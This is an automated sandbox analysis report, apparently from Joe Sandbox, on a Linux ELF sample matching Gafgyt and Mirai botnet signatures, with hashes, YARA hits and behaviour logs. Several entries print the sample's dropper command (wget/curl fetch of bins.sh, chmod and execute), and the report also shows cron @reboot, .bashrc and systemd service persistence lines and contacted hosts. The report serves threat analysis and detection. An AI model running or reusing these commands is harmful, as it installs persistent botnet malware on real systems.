Linux Analysis Report
x86_64.elf

Overview

General Information

Sample name:	x86_64.elf
Analysis ID:	1558942
MD5:	c060aa8e1d7eeef5b50c97c829f479ff
SHA1:	3f5bd2cac04b460b9c2d0c07c7d6d95475daaf17
SHA256:	934af9b9bf9838d64d44911f92190a6742d152a421ed1a74762fb41b93f7366d
Tags:	elfuser-abuse_ch
Infos:

Detection

Score:	80
Range:	0 - 100
Whitelisted:	false

Signatures

Antivirus / Scanner detection for submitted sample

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for submitted file

Executes the "crontab" command typically for achieving persistence

Machine Learning detection for sample

Modifies the '.bashrc' or '.bash_profile' file typically for persisting actions

Sample tries to persist itself using cron

Creates hidden files and/or directories

Executes commands using a shell command-line interpreter

Executes the "chmod" command used to modify permissions

Executes the "systemctl" command used for controlling the systemd system and service manager

Found strings indicative of a multi-platform dropper

Reads the 'hosts' file potentially containing internal network hosts

Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable

Sample has stripped symbol table

Sample listens on a socket

Uses the "uname" system call to query kernel version information (possible evasion)

Yara signature match

Classification

Signatures

AV Detection

Antivirus / Scanner detection for submitted sample

Source: x86_64.elf

Avira: detected

Multi AV Scanner detection for submitted file

Source: x86_64.elf

ReversingLabs: Detection: 36%

Machine Learning detection for sample

Source: x86_64.elf

Joe Sandbox ML: detected

Found strings indicative of a multi-platform dropper

Source: x86_64.elf	String: @/cmdline/wget/tftp/curl/reboot/libbin//dev/watchdog/dev/misc/watchdogx86_64->unknown%d/bin/busybox/bin/sh/var/Sofiatelnetd
Source: x86_64.elf	String: /bin/bash -c "/bin/wget http://serverip/bins/bins.sh; chmod +x bins.sh; sh bins.sh; /bin/curl -k -L --output bins.sh http://serverip/bins/bins.sh; chmod +x bins.sh; sh bins.sh"
Source: x86_64.elf	String: j2go/proc/net/tcp5.188.230.23137.18.73.94167.235.128.15168.191.23.13445.195.74.233141.94.21.7118.220.154.2118.210.151.8537.187.153.12745.195.74.1970123456789ABCDEF(crontab -l ; echo "@reboot %s") \| crontab -/bin/bash -c "/bin/wget http://serverip/bins/bins.sh; chmod +x bins.sh; sh bins.sh; /bin/curl -k -L --output bins.sh http://serverip/bins/bins.sh; chmod +x bins.sh; sh bins.sh"%s/.bashrc
Source: .bashrc.13.dr	String: /bin/bash -c "/bin/wget http://serverip/bins/bins.sh; chmod +x bins.sh; sh bins.sh; /bin/curl -k -L --output bins.sh http://serverip/bins/bins.sh; chmod +x bins.sh; sh bins.sh"
Source: bot.service.13.dr	String: ExecStart=/bin/bash -c "/bin/wget http://serverip/bins/bins.sh; chmod +x bins.sh; sh bins.sh; /bin/curl -k -L --output bins.sh http://serverip/bins/bins.sh; chmod +x bins.sh; sh bins.sh"

Reads the 'hosts' file potentially containing internal network hosts

Source: /bin/curl (PID: 5502)

Reads hosts file: /etc/hosts

Jump to behavior

Sample listens on a socket

Source: /tmp/x86_64.elf (PID: 5489)

Socket: 127.0.0.1:4161

Jump to behavior

Source: unknown

UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	DNS traffic detected: DNS query: host.zopz-api.com
Source: global traffic	DNS traffic detected: DNS query: daisy.ubuntu.com

Source: tmp.KcMIgX.22.dr	String found in binary or memory: http://serverip/bins/bins.sh
Source: bot.service.13.dr	String found in binary or memory: http://serverip/bins/bins.sh;

System Summary

Malicious sample detected (through community Yara rule)

Source: x86_64.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_9e9530a7 Author: unknown
Source: x86_64.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_807911a2 Author: unknown
Source: x86_64.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_d4227dbf Author: unknown
Source: x86_64.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_d996d335 Author: unknown
Source: x86_64.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_620087b9 Author: unknown
Source: x86_64.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_33b4111a Author: unknown
Source: x86_64.elf, type: SAMPLE	Matched rule: Linux_Trojan_Mirai_520deeb8 Author: unknown
Source: x86_64.elf, type: SAMPLE	Matched rule: Linux_Trojan_Mirai_01e4a728 Author: unknown
Source: x86_64.elf, type: SAMPLE	Matched rule: Linux_Trojan_Mirai_e0cf29e2 Author: unknown
Source: 5489.1.0000000000400000.0000000000411000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_9e9530a7 Author: unknown
Source: 5489.1.0000000000400000.0000000000411000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_807911a2 Author: unknown
Source: 5489.1.0000000000400000.0000000000411000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_d4227dbf Author: unknown
Source: 5489.1.0000000000400000.0000000000411000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_d996d335 Author: unknown
Source: 5489.1.0000000000400000.0000000000411000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_620087b9 Author: unknown
Source: 5489.1.0000000000400000.0000000000411000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_33b4111a Author: unknown
Source: 5489.1.0000000000400000.0000000000411000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_520deeb8 Author: unknown
Source: 5489.1.0000000000400000.0000000000411000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_01e4a728 Author: unknown
Source: 5489.1.0000000000400000.0000000000411000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_e0cf29e2 Author: unknown
Source: 5490.1.0000000000400000.0000000000411000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_9e9530a7 Author: unknown
Source: 5490.1.0000000000400000.0000000000411000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_807911a2 Author: unknown
Source: 5490.1.0000000000400000.0000000000411000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_d4227dbf Author: unknown
Source: 5490.1.0000000000400000.0000000000411000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_d996d335 Author: unknown
Source: 5490.1.0000000000400000.0000000000411000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_620087b9 Author: unknown
Source: 5490.1.0000000000400000.0000000000411000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_33b4111a Author: unknown
Source: 5490.1.0000000000400000.0000000000411000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_520deeb8 Author: unknown
Source: 5490.1.0000000000400000.0000000000411000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_01e4a728 Author: unknown
Source: 5490.1.0000000000400000.0000000000411000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_e0cf29e2 Author: unknown

Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable

Source: Initial sample	String containing 'busybox' found: /bin/busybox
Source: Initial sample	String containing 'busybox' found: @/cmdline/wget/tftp/curl/reboot/libbin//dev/watchdog/dev/misc/watchdogx86_64->unknown%d/bin/busybox/bin/sh/var/Sofiatelnetd

Sample has stripped symbol table

Source: ELF static info symbol of initial sample

.symtab present: no

Yara signature match

Source: x86_64.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_9e9530a7 reference_sample = 01da73e0d425b4d97c5ad75c49657f95618b394d09bd6be644eb968a3b894961, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = d6ad6512051e87c8c35dc168d82edd071b122d026dce21d39b9782b3d6a01e50, id = 9e9530a7-ad4d-4a44-b764-437b7621052f, last_modified = 2021-09-16
Source: x86_64.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_807911a2 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = f409037091b7372f5a42bbe437316bd11c655e7a5fe1fcf83d1981cb5c4a389f, id = 807911a2-f6ec-4e65-924f-61cb065dafc6, last_modified = 2021-09-16
Source: x86_64.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_d4227dbf reference_sample = 01da73e0d425b4d97c5ad75c49657f95618b394d09bd6be644eb968a3b894961, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 58c4b1d4d167876b64cfa10f609911a80284180e4db093917fea16fae8ccd4e3, id = d4227dbf-6ab4-4637-a6ba-0e604acaafb4, last_modified = 2021-09-16
Source: x86_64.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_d996d335 reference_sample = b511eacd4b44744c8cf82d1b4a9bc6f1022fe6be7c5d17356b171f727ddc6eda, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = e9ccb8412f32187c309b0e9afcc3a6da21ad2f1ffa251c27f9f720ccb284e3ac, id = d996d335-e049-4052-bf36-6cd07c911a8b, last_modified = 2021-09-16
Source: x86_64.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_620087b9 reference_sample = 01da73e0d425b4d97c5ad75c49657f95618b394d09bd6be644eb968a3b894961, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 06cd7e6eb62352ec2ccb9ed48e58c0583c02fefd137cd048d053ab30b5330307, id = 620087b9-c87d-4752-89e8-ca1c16486b28, last_modified = 2021-09-16
Source: x86_64.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_33b4111a reference_sample = 01da73e0d425b4d97c5ad75c49657f95618b394d09bd6be644eb968a3b894961, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 9c3b63b9a0f54006bae12abcefdb518904a85f78be573f0780f0a265b12d2d6e, id = 33b4111a-e59e-48db-9d74-34ca44fcd9f5, last_modified = 2021-09-16
Source: x86_64.elf, type: SAMPLE	Matched rule: Linux_Trojan_Mirai_520deeb8 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = f4dfd1d76e07ff875eedfe0ef4f861bee1e4d8e66d68385f602f29cc35e30cca, id = 520deeb8-cbc0-4225-8d23-adba5e040471, last_modified = 2021-09-16
Source: x86_64.elf, type: SAMPLE	Matched rule: Linux_Trojan_Mirai_01e4a728 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = d90477364982bdc6cd22079c245d866454475749f762620273091f2fab73c196, id = 01e4a728-7c1c-479b-aed0-cb76d64dbb02, last_modified = 2021-09-16
Source: x86_64.elf, type: SAMPLE	Matched rule: Linux_Trojan_Mirai_e0cf29e2 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 3f124c3c9f124264dfbbcca1e4b4d7cfcf3274170d4bf8966b6559045873948f, id = e0cf29e2-88d7-4aa4-b60a-c24626f2b246, last_modified = 2021-09-16
Source: 5489.1.0000000000400000.0000000000411000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_9e9530a7 reference_sample = 01da73e0d425b4d97c5ad75c49657f95618b394d09bd6be644eb968a3b894961, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = d6ad6512051e87c8c35dc168d82edd071b122d026dce21d39b9782b3d6a01e50, id = 9e9530a7-ad4d-4a44-b764-437b7621052f, last_modified = 2021-09-16
Source: 5489.1.0000000000400000.0000000000411000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_807911a2 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = f409037091b7372f5a42bbe437316bd11c655e7a5fe1fcf83d1981cb5c4a389f, id = 807911a2-f6ec-4e65-924f-61cb065dafc6, last_modified = 2021-09-16
Source: 5489.1.0000000000400000.0000000000411000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_d4227dbf reference_sample = 01da73e0d425b4d97c5ad75c49657f95618b394d09bd6be644eb968a3b894961, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 58c4b1d4d167876b64cfa10f609911a80284180e4db093917fea16fae8ccd4e3, id = d4227dbf-6ab4-4637-a6ba-0e604acaafb4, last_modified = 2021-09-16
Source: 5489.1.0000000000400000.0000000000411000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_d996d335 reference_sample = b511eacd4b44744c8cf82d1b4a9bc6f1022fe6be7c5d17356b171f727ddc6eda, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = e9ccb8412f32187c309b0e9afcc3a6da21ad2f1ffa251c27f9f720ccb284e3ac, id = d996d335-e049-4052-bf36-6cd07c911a8b, last_modified = 2021-09-16
Source: 5489.1.0000000000400000.0000000000411000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_620087b9 reference_sample = 01da73e0d425b4d97c5ad75c49657f95618b394d09bd6be644eb968a3b894961, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 06cd7e6eb62352ec2ccb9ed48e58c0583c02fefd137cd048d053ab30b5330307, id = 620087b9-c87d-4752-89e8-ca1c16486b28, last_modified = 2021-09-16
Source: 5489.1.0000000000400000.0000000000411000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_33b4111a reference_sample = 01da73e0d425b4d97c5ad75c49657f95618b394d09bd6be644eb968a3b894961, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 9c3b63b9a0f54006bae12abcefdb518904a85f78be573f0780f0a265b12d2d6e, id = 33b4111a-e59e-48db-9d74-34ca44fcd9f5, last_modified = 2021-09-16
Source: 5489.1.0000000000400000.0000000000411000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_520deeb8 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = f4dfd1d76e07ff875eedfe0ef4f861bee1e4d8e66d68385f602f29cc35e30cca, id = 520deeb8-cbc0-4225-8d23-adba5e040471, last_modified = 2021-09-16
Source: 5489.1.0000000000400000.0000000000411000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_01e4a728 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = d90477364982bdc6cd22079c245d866454475749f762620273091f2fab73c196, id = 01e4a728-7c1c-479b-aed0-cb76d64dbb02, last_modified = 2021-09-16
Source: 5489.1.0000000000400000.0000000000411000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_e0cf29e2 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 3f124c3c9f124264dfbbcca1e4b4d7cfcf3274170d4bf8966b6559045873948f, id = e0cf29e2-88d7-4aa4-b60a-c24626f2b246, last_modified = 2021-09-16
Source: 5490.1.0000000000400000.0000000000411000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_9e9530a7 reference_sample = 01da73e0d425b4d97c5ad75c49657f95618b394d09bd6be644eb968a3b894961, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = d6ad6512051e87c8c35dc168d82edd071b122d026dce21d39b9782b3d6a01e50, id = 9e9530a7-ad4d-4a44-b764-437b7621052f, last_modified = 2021-09-16
Source: 5490.1.0000000000400000.0000000000411000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_807911a2 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = f409037091b7372f5a42bbe437316bd11c655e7a5fe1fcf83d1981cb5c4a389f, id = 807911a2-f6ec-4e65-924f-61cb065dafc6, last_modified = 2021-09-16
Source: 5490.1.0000000000400000.0000000000411000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_d4227dbf reference_sample = 01da73e0d425b4d97c5ad75c49657f95618b394d09bd6be644eb968a3b894961, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 58c4b1d4d167876b64cfa10f609911a80284180e4db093917fea16fae8ccd4e3, id = d4227dbf-6ab4-4637-a6ba-0e604acaafb4, last_modified = 2021-09-16
Source: 5490.1.0000000000400000.0000000000411000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_d996d335 reference_sample = b511eacd4b44744c8cf82d1b4a9bc6f1022fe6be7c5d17356b171f727ddc6eda, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = e9ccb8412f32187c309b0e9afcc3a6da21ad2f1ffa251c27f9f720ccb284e3ac, id = d996d335-e049-4052-bf36-6cd07c911a8b, last_modified = 2021-09-16
Source: 5490.1.0000000000400000.0000000000411000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_620087b9 reference_sample = 01da73e0d425b4d97c5ad75c49657f95618b394d09bd6be644eb968a3b894961, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 06cd7e6eb62352ec2ccb9ed48e58c0583c02fefd137cd048d053ab30b5330307, id = 620087b9-c87d-4752-89e8-ca1c16486b28, last_modified = 2021-09-16
Source: 5490.1.0000000000400000.0000000000411000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_33b4111a reference_sample = 01da73e0d425b4d97c5ad75c49657f95618b394d09bd6be644eb968a3b894961, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 9c3b63b9a0f54006bae12abcefdb518904a85f78be573f0780f0a265b12d2d6e, id = 33b4111a-e59e-48db-9d74-34ca44fcd9f5, last_modified = 2021-09-16
Source: 5490.1.0000000000400000.0000000000411000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_520deeb8 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = f4dfd1d76e07ff875eedfe0ef4f861bee1e4d8e66d68385f602f29cc35e30cca, id = 520deeb8-cbc0-4225-8d23-adba5e040471, last_modified = 2021-09-16
Source: 5490.1.0000000000400000.0000000000411000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_01e4a728 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = d90477364982bdc6cd22079c245d866454475749f762620273091f2fab73c196, id = 01e4a728-7c1c-479b-aed0-cb76d64dbb02, last_modified = 2021-09-16
Source: 5490.1.0000000000400000.0000000000411000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_e0cf29e2 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 3f124c3c9f124264dfbbcca1e4b4d7cfcf3274170d4bf8966b6559045873948f, id = e0cf29e2-88d7-4aa4-b60a-c24626f2b246, last_modified = 2021-09-16

Source: classification engine

Classification label: mal80.troj.linELF@0/4@3/0

Persistence and Installation Behavior

Executes the "crontab" command typically for achieving persistence

Source: /bin/sh (PID: 5499)	Crontab executable: /usr/bin/crontab -> crontab -l			Jump to behavior
Source: /bin/sh (PID: 5498)	Crontab executable: /usr/bin/crontab -> crontab -			Jump to behavior

Modifies the '.bashrc' or '.bash_profile' file typically for persisting actions

Source: /tmp/x86_64.elf (PID: 5490)

File written: /root/.bashrc

Jump to behavior

Sample tries to persist itself using cron

Source: /usr/bin/crontab (PID: 5498)	File: /var/spool/cron/crontabs/tmp.KcMIgX			Jump to behavior
Source: /usr/bin/crontab (PID: 5498)	File: /var/spool/cron/crontabs/root			Jump to behavior

Creates hidden files and/or directories

Source: /tmp/x86_64.elf (PID: 5490)	File: /root/.bashrc			Jump to behavior
Source: /bin/curl (PID: 5502)	Directory: /root/.curlrc			Jump to behavior

Executes commands using a shell command-line interpreter

Source: /tmp/x86_64.elf (PID: 5496)	Shell command executed: sh -c "(crontab -l ; echo \"@reboot /bin/bash -c \"/bin/wget http://serverip/bins/bins.sh; chmod +x bins.sh; sh bins.sh; /bin/curl -k -L --output bins.sh http://serverip/bins/bins.sh; chmod +x bins.sh; sh bins.sh\"\") \| crontab -"			Jump to behavior
Source: /tmp/x86_64.elf (PID: 5508)	Shell command executed: sh -c "/bin/systemctl enable bot"			Jump to behavior

Executes the "chmod" command used to modify permissions

Source: /bin/sh (PID: 5500)	Chmod executable: /usr/bin/chmod -> chmod +x bins.sh			Jump to behavior
Source: /bin/sh (PID: 5507)	Chmod executable: /usr/bin/chmod -> chmod +x bins.sh			Jump to behavior

Executes the "systemctl" command used for controlling the systemd system and service manager

Source: /bin/sh (PID: 5509)

Systemctl executable: /bin/systemctl -> /bin/systemctl enable bot

Jump to behavior

Uses the "uname" system call to query kernel version information (possible evasion)

Source: /bin/curl (PID: 5502)

Queries kernel information via 'uname':

Jump to behavior

Screenshots

Network Map

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Contacted Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
172.111.38.48	host.zopz-api.com	Reserved		54540	INCERO-HVVCUS	false

Contacted Domains

Name	IP	Active
daisy.ubuntu.com	162.213.35.24	true
host.zopz-api.com	172.111.38.48	true

ID:	1558942
Product:	CloudBasic
Start time:	01:00:12
Start date:	20.11.2024
Sample:	x86_64.elf
Cookbook:	defaultlinuxfilecookbook.jbs
System description:	Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Architecture:	LINUX
MD5:	c060aa8e1d7eeef5b50c97c829f479ff
SHA1:	3f5bd2cac04b460b9c2d0c07c7d6d95475daaf17
SHA256:	934af9b9bf9838d64d44911f92190a6742d152a421ed1a74762fb41b93f7366d
Filetype:	ELF Executable and Linkable format (generic) (4004/1) 100.00%

Name	Type	MD5	SHA1	SHA256
/memfd:snapd-env-generator (deleted)	ASCII text	D86A1F5765F37989EB0EC3837AD13ECC	D749672A734D9DEAFD61DCA501C6929EC431B83E	85889AB8222C947C58BE565723AE603CC1A0BD2153B6B11E156826A21E6CCD45
/root/.bashrc	ASCII text	C3685F292213652676F734AB36C060EE	1D05F7F6302EC60E7990DE4BBE9180C149EFC731	D070C429D850B4BAAED03330B6F96C7473ED86D0D33A2FACCD11FB3325767C4C
/usr/lib/systemd/system/bot.service	ASCII text	F03C70CD4C61A1852F9E19B8FB0D639C	A6C078FFFFDF05C4C47B273B24E6B3FF4EF7E008	AE50A3052A395987A2779DEB9253D4AA8638F2F8B1CDA7DF9039388F21BE7A90
/var/spool/cron/crontabs/tmp.KcMIgX	ASCII text	4ABA589E3234B39E0C93F2756E7E55E5	4077C0810EEB975B24A7F8DCC6DE45BE7A018CB8	F087B07732BA7E42CFD24CC152AA6DB7CFD1DF8BC97914EE1CE6C1413D4C6028

Linux Analysis Report
x86_64.elf

Overview

General Information

Detection

Signatures

Classification

Signatures

AV Detection

Spreading

Networking

System Summary

Persistence and Installation Behavior

Malware Analysis System Evasion

Screenshots

Network Map

Contacted Public IPs

Contacted Domains

Linux Analysis Report x86_64.elf

Overview

General Information

Detection

Signatures

Classification

Signatures

AV Detection

Spreading

Networking

System Summary

Persistence and Installation Behavior

Malware Analysis System Evasion

Screenshots

Network Map

Contacted Public IPs

Contacted Domains

Linux Analysis Report
x86_64.elf